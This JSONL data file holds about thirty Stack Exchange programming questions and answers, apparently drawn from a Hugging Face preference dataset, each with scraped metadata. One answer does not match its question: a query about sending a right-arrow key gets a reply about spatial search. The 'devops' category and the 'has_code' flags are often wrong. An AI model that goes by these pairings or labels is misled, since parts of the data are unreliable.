{"id": "hf_b41762e616b6", "question": "<p>For example, using the answer for this question: </p>\n\n<p><a href=\"https://stackoverflow.com/questions/152024/how-to-select-all-users-who-made-more-than-10-submissions\">How to select all users who made more than 10 submissions</a>\n\"How to select all users who made more than 10 submissions.\"</p>\n\n<pre><code>select userId\nfrom submission   \ngroup by userId\nhaving count(submissionGuid) &gt; 10\n</code></pre>\n\n<p>Let's say now I want to know many rows this sql statement outputted. How scalable is the solution for counting the rows of counting the rows?</p>\n", "question_body": "", "answer": "In SQL Server you could do\n```\n```\nselect @@ROWCOUNT\n```\n```\nimmediately following the query you posted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.247803"}
{"id": "hf_bbddea6f3be0", "question": "<p>What I want to do is scroll down the window when I expand elements in my page. </p>\n\n<p>The effect I am trying to achieve is like the Stack Overflow comments. If it expands beyond the page, it scrolls down to fit all the comments in the window.</p>\n\n<p>What is the best way of doing this?</p>\n\n<p>Edit: I am using JQuery.</p>\n", "question_body": "", "answer": "If you have the advantage of using Prototype, you can use\n```\n$(element).scrollTo()\n```\n.\nOtherwise, the general idea is to calculate the cumulative offset of the element, then set\n```\nwindow.scrollTop\n```\n(and\n```\nwindow.scrollLeft\n```\n) accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.283961"}
{"id": "hf_39ca19474b22", "question": "<p>Like, let's say I had a tree structure, then I would use, naturally a tree control, since that GUI element maps perfectly to the structure.</p>\n\n<p>But what I have is a graph, potentially too wide to fit in one web page.  I can't think of examples of GUIs that really match the structure.  Some ideas I have that don't quite fit are, the web itself, with hyperlinks, the browser back button, and the forward button.   But that just shows you one node at a time.  I would like to display as many nodes as I can, and allow navigation to a new area of the graph.   Something like Google maps might be a good model, in that you have full freedom to scroll in any direction.</p>\n", "question_body": "", "answer": "Facebook used to do this,\nway\nback in the day, to visualize your friends. They drew nodes as little boxes, with lines connecting them, as expected. They drew the graphs into an SVG image, so you could easily zoom in and out.\nAnother option might be to draw into a\n```\n<canvas>\n```\ntag and scale that somehow. I imagine that's possible, but I don't know much about\n```\n<canvas>\n```\nAnother option would be to draw it into an inline frame or other box that allows the user to scroll horizontally and vertically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.318510"}
{"id": "hf_d525c773521a", "question": "<p>I use screen to persist my work session and connect to the same session from multiple machines. How can I setup SSH and screen such that the XDISPLAY variable <em>inside</em> my persistent screen session is always set to the machine I am currently connecting from?</p>\n\n<p>ie. I start the screen session at work and use gvim, which uses the X server running on my work machine. Later, I connect to the same session from home and also want to use gvim. But this time, I want gvim to use the X server on my home machine. I realize I could manually update XDISPLAY every time I connect from a different machine but I'd rather have an automated system.</p>\n\n<p>Bonus points if I can actually <em>move</em> gvim from my work machine to my home machine while it is running. I tried <a href=\"http://manpages.ubuntu.com/manpages/hardy/man1/xmove.html\" rel=\"nofollow noreferrer\">xmove</a> but could never get it to play nice.</p>\n", "question_body": "", "answer": "There is no \"trivial\" way to change environment variables in foreign processes.\nA straightforward solution might be to persist your\n```\nXDISPLAY\n```\ninto a file on login and use a\n```\nPROMPT_COMMAND\n```\nto read this file before printing the next prompt.\nFor moving X applications around look at something like\n```\nX11vnc\n```\nor\n```\nXvnc\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.364705"}
{"id": "hf_561b5d1a8e0e", "question": "<p>As a second interview I get people to sit down and write code...I try to make the problem really technology independent.</p>\n\n<p>My programming problems that I have don't really exercise peoples OO abilities.  I tend to try and keep the coding problem solvable within 2 hours ish.  So, I've struggled to find a problem small enough and involved enough that it exposes peoples OO design skills.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "These aren't specifically OO Questions, but check out the other questions tagged\ninterview-questions\nEdit: What about implementing some\ndesign patterns\n? I don't have the best knowledge in the area but it seems as if you would be getting two questions for the price of one. You can test for both OO and Design pattens in the one question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.388729"}
{"id": "hf_6b70f7ff559b", "question": "<p>I have recently discovered the incredibly useful <a href=\"http://www.eclipse.org/mat/\" rel=\"nofollow noreferrer\">Eclipse Memory Analysis Tool</a>, which makes quick work of finding memory leaks in Java applications.  Unfortunately, after switching my JDK to 1.6 (under Mac OS 10.5), the JVM terminates immediately upon startup.  All that appears is a dialog stating \"JVM terminated\" with \"Exit code = -1\".</p>\n\n<p>Anyone else encounter this one? Perhaps there is a way to configure it to use a different JDK?  (such as 1.5: which it was shown to be compatible with)</p>\n", "question_body": "", "answer": "The official Java 6 for the Mac only has a 64 bit data model. Unfortunately, Eclipse uses Carbon on the Mac which is only available in 32 bits. In short, it is impossible to run Eclipse with the official Java 6 distribution.\nThe classical solution to this is to set the default VM to Java 5, and then choose Java 6 as the JRE/JDK within Eclipse.\nIf you really need to run Eclipse with Java 6, then you could take a look at\nSoyLatte\nwhich is a build of OpenJDK which both supports 32 and 64 bit modes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.424776"}
{"id": "hf_9bbe20a720b4", "question": "<p>What does <code>InitializeComponent()</code> do, and how does it work in WPF?</p>\n\n<p>In general first, but I would especially be interested to know the gory details of order of construction, and what happens when there are Attached Properties.</p>\n", "question_body": "", "answer": "The call to\n```\nInitializeComponent()\n```\n(which is usually called in the default constructor of at least\n```\nWindow\n```\nand\n```\nUserControl\n```\n) is actually a method call to the partial class of the control (rather than a call up the object hierarchy as I first expected).\nThis method locates a URI to the XAML for the\n```\nWindow\n```\n/\n```\nUserControl\n```\nthat is loading, and passes it to the\n```\nSystem.Windows.Application.LoadComponent()\n```\nstatic method.\n```\nLoadComponent()\n```\nloads the XAML file that is located at the passed in URI, and converts it to an instance of the object that is specified by the root element of the XAML file.\nIn more detail,\n```\nLoadComponent\n```\ncreates an instance of the\n```\nXamlParser\n```\n, and builds a tree of the XAML. Each node is parsed by the\n```\nXamlParser.ProcessXamlNode()\n```\n. This gets passed to the\n```\nBamlRecordWriter\n```\nclass. Some time after this I get a bit lost in how the BAML is converted to objects, but this may be enough to help you on the path to enlightenment.\nNote: Interestingly, the\n```\nInitializeComponent\n```\nis a method on the\n```\nSystem.Windows.Markup.IComponentConnector\n```\ninterface, of which\n```\nWindow\n```\n/\n```\nUserControl\n```\nimplement in the partial generated class.\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.448679"}
{"id": "hf_8ac8033dff12", "question": "<p>I have a legacy app where it reads message from a client program from file descriptor 3. This is an external app so I cannot change this. The client is written in C#. How can we open a connection to a specific file descriptor in C#? Can we use something like AnonymousPipeClientStream()? But how do we specify the file descriptor to connect to?</p>\n", "question_body": "", "answer": "Unfortunately, you won't be able to do that without P/Invoking to the native Windows API first.\nFirst, you will need to open your file descriptor with a native P/Invoke call. This is done by the OpenFileById WINAPI function.\nHere's how to use it\non MSDN,\nhere's an other link\nexplaining it in detail on the MSDN forums, and\nhere's some help (pinvoke.net)\non how to construct your P/Invoke call.\nOnce you got the file handle, you need to wrap it in a SafeFileHandle, this time in safe, managed C#:\n```\n```\n// nativeHandle is the WINAPI handle you have acquired with the P/Invoke call\nSafeFileHandle safeHandle = new SafeFileHandle(nativeHandle, true);\n```\n```\nNow you can open the file stream directly:\n```\n```\nStream stream = new FileStream(safeHandle, FileAccess.ReadWrite);\n```\n```\nAnd from this point you can use it as any other file or stream in C#. Don't forget to dispose your objects once you're done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.476795"}
{"id": "hf_2e3566769e1e", "question": "<p>I have a site behind basic authentication (IIS6).</p>\n\n<p>Part of this site calls a web service that is also part of the site and thus behind basic authentication as well.</p>\n\n<p>However, when this happens the calling code receives a 401 Authentication Error.</p>\n\n<p>I've tried a couple of things, with the general recommendation being code like this:</p>\n\n<pre><code>Service.ServiceName s = new Service.ServiceName();\ns.PreAuthenticate = true;\ns.Credentials = System.Net.CredentialCache.DefaultCredentials;\ns.Method(\"Test\");\n</code></pre>\n\n<p>However, this does not seem to resolve my problem.</p>\n\n<p>Any advice?</p>\n\n<p><strong>Edit</strong></p>\n\n<p>This seems to be a not uncommon issue but so far I have found no solutions.\nHere is <a href=\"http://forums.iis.net/t/1146546.aspx\" rel=\"nofollow noreferrer\">one thread</a> on the topic.</p>\n", "question_body": "", "answer": "The Line:\n```\n```\ns.Credentials = System.Net.CredentialCache.DefaultCredentials();\n```\n```\nMaybe you should try :\n```\n```\ns.Credentials = HttpContext.Current.User.Identity;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.511933"}
{"id": "hf_7dba0aa0e2a0", "question": "<p>For general code, do I really need to dispose an object?  Can I just ignore it for the most part or is it a good idea to always dispose an object when your 100% sure you don't need it anymore?  </p>\n", "question_body": "", "answer": "If the object implements IDisposable, you should dispose of it as soon as you are done with it. The easiest way is to surround it with a\nusing\nblock:\n```\n```\nusing (SqlCommand cmd = new SqlCommand(conn)) {\n    cmd.ExecuteNonQuery();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.558886"}
{"id": "hf_755aae427495", "question": "<p>I have a vba macro which runs a loop for about 200 iterations, using up the ram page file as it runs.</p>\n\n<p>I need some kind of quick fix to clear the page file after every iteration. I know the best fix would be to clean up the code, but time is a constraint here.</p>\n", "question_body": "", "answer": "At the end of each loop iteration set any objects that will be re-created to\n```\nNothing\n```\n.\nThis\narticle\nexplains it in detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.618651"}
{"id": "hf_98550445b741", "question": "<p>If I were to include .Net Framework setup file along with my apps (installation process is done by our own technician), to be install on a clean Windows (XP SP2/SP3 or Vista SP1) without prior installation of any framework, which of the .Net Framework setup do I need to install in sequence, to get to 3.5 SP1?\nCurrently I have the setup file for:</p>\n\n<ol>\n<li>.Net 2.0</li>\n<li>.Net 2.0 SP1</li>\n<li>.Net 3.0</li>\n<li>.Net 3.5</li>\n<li>.Net 3.5 SP1</li>\n</ol>\n\n<p>All redistributable version.</p>\n\n<p>EDIT : I need the full installation, client profile won't work as our client's machine might not have internet access. Basically I need a install-and-forget-it procedure, so when we decided to use anything new within 3.5 SP1 later, we can rest assure that we can just simple apply update our apps without having to install another pre-requisite </p>\n", "question_body": "", "answer": "NET 3.5 SP1 introduces a new setup package option for developers building .NET client applications called the \"\n.NET Framework Client Profile\n\".This provides a new setup installer that enables a smaller, faster, and simpler installation experience for .NET client applications on machines that do not already have the .NET Framework installed.\nThe .NET Framework Client Profile setup contains just those assemblies and files in the .NET Framework that are typically used for client application scenarios.  For example: it includes Windows Forms, WPF, and WCF.  It does not include ASP.NET and those libraries and components used primarily for server scenarios.  We expect this setup package to be about\n26MB\nin size, and it can be downloaded and installed much quicker than the full .NET Framework setup package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.646454"}
{"id": "hf_7794a73748df", "question": "<p>What is the best way to extract the MAC address from <code>ifconfig</code>'s output?</p>\n\n<p>Sample output:</p>\n\n<pre><code>bash-3.00# ifconfig eth0        \neth0      Link encap:Ethernet  HWaddr 1F:2E:19:10:3B:52    \n          inet addr:127.0.0.66  Bcast:127.255.255.255  Mask:255.0.0.0    \n          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1\n          ....\n          ....\n</code></pre>\n\n<p>Should I use cut, <a href=\"http://en.wikipedia.org/wiki/AWK\" rel=\"noreferrer\">AWK</a> or anything else, and what are the merits and demerits of one method over the other.</p>\n", "question_body": "", "answer": "Not sure whether there really are any advantages, but you can simply use awk:\n```\n```\nifconfig eth0 | awk '/HWaddr/ {print $5}'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.670665"}
{"id": "hf_99c2eda9b47e", "question": "<p>i would like to release a snapshot project 'foo-1.0-SNAPSHOT' using the maven release plugin. The project depends on a 3rd party module 'bar-1.0-SNAPSHOT' which is not released yet.\nI use the option 'allowTimestampedSnapshots' in my project's pom.xml to allow timestamped snapshots but i assume that the 3rd party module (bar) is not timestamped unless i build it myself as maven still complains about unresolved SNAPSHOT dependencies.</p>\n\n<p>Is there a way to release the project foo regardless of dependent SNAPSHOT projects and if not how could i add a timestamp to the 3rd party project?</p>\n", "question_body": "", "answer": "The short answer is see the\nfollowing answer\n.... the long answer is you can work around it.\nThe only way I have coped in the past is to effectively fork the 3rd party library and cut a release myself. This of course is easier said than done and is just plain difficult if the library is large and complex and impossible if the 3rd party library is closed source. An easier route maybe to approach the 3rd party and ask them to cut a release.\nAnother option may be to copy their pom (ensure that it has no snapshots) change the version information and manually install the pom and artifact in your repository.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.707499"}
{"id": "hf_086b09e8d68f", "question": "<p>How do you go about finding unused icons, images, strings in .resx files that may have become 'orphaned' and are no longer required?</p>\n", "question_body": "", "answer": "This is no information an algorithm can reliably compute. The inspected program could fetch a list of all resources and do something with them, like letting the user choose from several icons.\nYour best bet is probably to search for all references to your resource-access API of choice and inspect those manually. Using\n```\ngrep\n```\n/\n```\nsed\n```\nyou might be able to reduce the sites you have to inspect manually by handling all \"easy\" ones where a simple string is used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.744323"}
{"id": "hf_b994dba11dc6", "question": "<pre><code>void f(cli::array&lt;PointF&gt; ^points){\n    PointF&amp; a = points[0];\n    // and so on...\n}\n</code></pre>\n\n<p>Compile error at line 2. </p>\n\n<pre><code>.\\ndPanel.cpp(52) : error C2440: 'initializing' : cannot convert from 'System::Drawing::PointF' to 'System::Drawing::PointF &amp;'\n        An object from the gc heap (element of a managed array) cannot be converted to a native reference\n</code></pre>\n\n<p>What is the managed way to declare a reference variable?</p>\n", "question_body": "", "answer": "You need to use the\n```\ngcroot\n```\ntemplate from\n```\nvcclr.h\n```\nfile:\nThese are samples from MSDN:\n```\n```\n// mcpp_gcroot.cpp\n// compile with: /clr\n#include <vcclr.h>\nusing namespace System;\n\nclass CppClass {\npublic:\n   gcroot<String^> str;   // can use str as if it were String^\n   CppClass() {}\n};\n\nint main() {\n   CppClass c;\n   c.str = gcnew String(\"hello\");\n   Console::WriteLine( c.str );   // no cast required\n}\n\n// mcpp_gcroot_2.cpp\n// compile with: /clr\n// compile with: /clr\n#include <vcclr.h>\nusing namespace System;\n\nstruct CppClass {\n   gcroot<String ^> * str;\n   CppClass() : str(new gcroot<String ^>) {}\n\n   ~CppClass() { delete str; }\n\n};\n\nint main() {\n   CppClass c;\n   *c.str = gcnew String(\"hello\");\n   Console::WriteLine( *c.str );\n}\n\n// mcpp_gcroot_3.cpp\n// compile with: /clr\n#include < vcclr.h >\nusing namespace System;\n\npublic value struct V {\n   String^ str;\n};\n\nclass Native {\npublic:\n   gcroot< V^ > v_handle;\n};\n\nint main() {\n   Native native;\n   V v;\n   native.v_handle = v;\n   native.v_handle->str = \"Hello\";\n   Console::WriteLine(\"String in V: {0}\", native.v_handle->str);\n}\n```\n```\nYou will find out more\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.767985"}
{"id": "hf_5ed777293429", "question": "<p>Like many SO people, I'm in front of a computer almost all day. I like having a dark theme for Visual Studio (easier on the eyes), but since the rest of Windows and apps (explorer, dialogs, Outlook), have the full white background, it's even harder to switch between nice dark VS and sunshine bright Windows.</p>\n\n<p>I tried a UXTheme.dll patch but couldn't find any dark themes that worked across Visual Studio and Windows apps in general. Any suggestions?</p>\n\n<p>Edit: To be clear, I'd like no or almost no white. No scrollbars, menus, etc. </p>\n", "question_body": "", "answer": "May be not exactly what you are looking for, but\nthis is a dark color scheme\nfor visual Studio (2005 or 2008) you may use in complement of UXTheme.\nOff course, they are other dar color schemes for Visual studio, like\nthis one\n(Jeff\nhas one also\n).\nBut I am not sure there is\none\ntool that applies to all windows, including Visual Studio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.803774"}
{"id": "hf_4123deb092ca", "question": "<p>To implement \"method-missing\"-semantics and such in C# 4.0, you have to implement IDynamicObject:</p>\n\n<pre><code>public interface IDynamicObject\n{\n  MetaObject GetMetaObject(Expression parameter);\n}\n</code></pre>\n\n<p>As far as I can figure out IDynamicObject is actually part of the DLR, so it is not new. But I have not been able to find much documentation on it.</p>\n\n<p>There are some very simple example implementations out there (f.x. <a href=\"http://blogs.msdn.com/cburrows/archive/2008/10/28/c-dynamic-part-ii.aspx\" rel=\"noreferrer\">here</a> and <a href=\"http://code.msdn.microsoft.com/csharpfuture/Release/ProjectReleases.aspx?ReleaseId=1686\" rel=\"noreferrer\">here</a>), but could anyone point me to more complete implementations or some real documentation?</p>\n\n<p>Especially, how exactly are you supposed to handle the \"parameter\"-parameter?</p>\n", "question_body": "", "answer": "Here is what I have figured out so far:\nThe Dynamic Language Runtime is currently maintained as part of the\nIronPython project\n. So that is the best place to go for information.\nThe easiest way to implement a class supporting IDynamicObject seems to be to derive from\nMicrosoft.Scripting.Actions.Dynamic\nand override the relevant methods, for instance the Call-method to implement function call semantics. It looks like Microsoft.Scripting.Actions.Dynamic hasn't been included in the CTP, but the one from IronPython 2.0 looks like it will work.\nI am still unclear on the exact meaning of the \"parameter\"-parameter, but it seems to provide context for the binding of the dynamic-object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.840177"}
{"id": "hf_c2f9a24c42df", "question": "<p>what is the syntax for the sendkey for rightarrow  in .net?</p>\n", "question_body": "", "answer": "What you are looking for is called spatial search. I'm not sure if there are extensions to  Lucene.Net to do this but you could take a look at\nNHibernate Spatial\n. Other than that, these queries are often done within the database. At least PostGreSQL, MySQL and SQL Server 2008 have spatial query capabilities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.876702"}
{"id": "hf_06164ade1730", "question": "<p>I'm rather confused about this. </p>\n\n<p>And what's their relationship(e.g., how one can be used in the context of the other)? Much thanks!!</p>\n", "question_body": "", "answer": "The concept of symbols is a little bit hard to understand. (Even I'm not sure I got it :) )\nYou can look at symbols as special variables which behave like constants. There is only one instance in memory, no matter how often you used it.\nThe benefits are conserving memory and one can see if a value is used in a constant-like manner. (Improves code readability)\nYou can do\nsimilar\nthings in C/C++ with\n```\ntypdef\n```\n, in Java with\n```\nstatic final\n```\nor in Delphi/Pascal/VB with\n```\nconst\n```\n, but be careful, in those and many other languages \"symbol\" means something different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.925606"}
{"id": "hf_64316043e8dd", "question": "<p>I have an oc4j installation bereft of any release notes or version documentation. In the absence of such documents, how do I know for sure, which version of oc4j I am using?</p>\n", "question_body": "", "answer": "Check Server header in HTTP headers. For example with wget or curl;\n```\n```\nwget -S <url-to-server>\ncurl -I <url-to-server>\n```\n```\nor with browser, which can show HTTP headers.\nThere should be a header something like\n```\n```\nServer: Oracle-Application-Server-10g/10.1.3.1.0 Oracle-HTTP-Server\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.950209"}
{"id": "hf_a831b372a4f3", "question": "<p>I'm using the MVP pattern in a windows form app. I need to change a radio button on the view. I can do this by exposing a Boolean property on the view, but should I be using events to manipulate the view instead?</p>\n", "question_body": "", "answer": "Using \"plain language\" analysis, I would say that \"whether or not the radio button is displayed is a\nproperty\nof the view\" and therefore use an actual property to communicate this to the View.\nThe other (technical) possibility would be to have a event on the Presenter, i.e.\n```\nRadioButtonVisibilityChanged\n```\n, which is listened to by the View and passes the new visibility through the\n```\nEventArgs\n```\n. This runs contrary to the View being independent and ignorant of the Presenter and therefore undermines the MVP pattern. I advise against such nonsense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.975050"}
{"id": "hf_bd839876810f", "question": "<p>Actually I try to find a subclass of InputStream which is also Serializable. I think that doesn't exist. Since both Interfaces have many sublclasses it is hard to find one that is a subclass of both.</p>\n\n<p>Until now I haven't found anything to help my search in Eclipse. Anyone ideas?</p>\n\n<p>Edit: I understand now that serializing a Stream isn't really what one should do. But the essence of the Question is: how can I find a common subclass of two Interfaces.</p>\n", "question_body": "", "answer": "Serializing an InputStream is not a very viable solution. To illustrate this, imagine if you have an InputStream from a socket and you serialize that. Before you deserialize it, the socket is closed. Now when you actually do deserialize it, the resource has vanished and you have a nasty exception in your hands.\nWhat you should rather do, if you need to serialize a resource, is to serialize the location of it or how to obtain it. In the socket example: host name and port, for files: the file path, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.012290"}
{"id": "hf_e79e8cfcb664", "question": "<p>I got this error when trying to update an image.\nIt was a cross-thread update, but I used .Invoke(), so that shouldn't be the problem, should it.</p>\n", "question_body": "", "answer": "(Answering my own question, for others, and for future reference)\nI\nthink\n(not yet entirely sure) that this is because InvokeRequired will always return false if the control has not yet been loaded/shown. I have done a workaround which seems to work for the moment, which is to simple reference the handle of the associated control in its creator, like so:\n```\n```\nvar x = this.Handle;\n```\n```\n(See\nhttp://ikriv.com:8765/en/prog/info/dotnet/MysteriousHang.html\n- down?\ncached version\n)\n(Related question:\nBoiler plate code replacement - is there anything bad about this code?\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.059150"}
{"id": "hf_69d0229f6783", "question": "<p>I know about \"class having a single reason to change\". Now, what is that exactly? Are there some smells/signs that could tell that class does not have a single responsibility? Or could the real answer hide in YAGNI and only refactor to a single responsibility the first time your class changes?</p>\n", "question_body": "", "answer": "the methods in your class should be cohesive...they should work together and make use of the same data structures internally. If you find you have too many methods that don't seem entirely well related, or seem to operate on different things, then quite likely you don't have a good single responsibility.\nOften it's hard to initially find responsibilities, and sometimes you need to use the class in several different contexts and then refactor the class into two classes as you start to see the distinctions. Sometimes you find that it's because you are mixing an abstract and concrete concept together. They tend to be harder to see, and, again, use in different contexts will help clarify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.082471"}
{"id": "hf_abeed987170f", "question": "<p>For example VK_LEFT, VK_DELETE, VK_ESCAPE, VK_RETURN, etc. How and where are they declared? Are they constants, #defines, or something else? Where do they come from?</p>\n\n<p>If possible, please provide a file name/path where they are declared. Or some other info as specific as possible.</p>\n", "question_body": "", "answer": "These are declared using\n```\n#define\n```\nin the file\n```\nwinuser.h\n```\nin the Platform SDK. In my installation of Visual Studio 2008, the full path is\n```\n```\nC:\\Program Files\\Microsoft SDKs\\Windows\\v6.0A\\Include\\WinUser.h\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.120618"}
{"id": "hf_57e7eedda8d1", "question": "<p>We are using LINQ very widely in our system. Particularly LINQ-to-objects. So in some places we end up having a LINQ query in memory build up from some huge expressions. The problem comes when there's some bug in the expressions. So we get NullReferenceException and the stack trace leads us nowhere (to [Lightweight Function]). The exception was thrown inside the dynamic method generated by LINQ.</p>\n\n<p>Is there any easy way to debug such dynamic methods? Or do I have to sacrifice myself to learning WinDBG? :-)</p>\n", "question_body": "", "answer": "If you're using LINQ to Objects, I wouldn't expect to see dynamic methods being created. I'd expect them with LINQ to SQL etc. Could you give an example where you're seeing this?\nI don't really have any good debugging tips when it comes to LINQ, but I'm pretty sure MS know about this as a pain point. Could I suggest you try the\nVS2010 CTP\nand see if that's better? More for the sake of improving VS than for solving your immediate problem, admittedly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.168229"}
{"id": "hf_5a154a45f434", "question": "<p>I have an Ant script that needs to checkout a directory from Subversion. This works using svnant/svnkit. However, Subversion access is authenticated, and I do not want to store my user password in a file.</p>\n\n<p>Can I make svnkit pop up a password dialog? \nOr even better, make it use the same credential caching that subversive/svnkit inside of Eclipse uses (the username can be read from the build.properties)?</p>\n\n<p>I cannot switch to public key based authentication, as I do not control the subversion server.</p>\n\n<p>Right now, it just says \"svn: authentication cancelled\".</p>\n", "question_body": "", "answer": "To answer my own question, I can use the Ant [input] task to ask the user for a password and store it in a property that can be passed to the [svn] task.\n```\n```\n<target name=\"checkout\">\n    <input\n        message=\"Please enter subversion password for ${username}:\"\n        addproperty=\"password\"\n      />\n\n    <svn svnkit=\"${svnkit}\" username=\"${username}\" password=\"${password}\">\n        <checkout url=\"${urlRepos}/project\" destPath=\"web/\" />\n    </svn> \n</target>\n```\n```\nUnfortunately, this does not mask the password with * * * * *, and I still want to read from the credential cache...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:32.190946"}
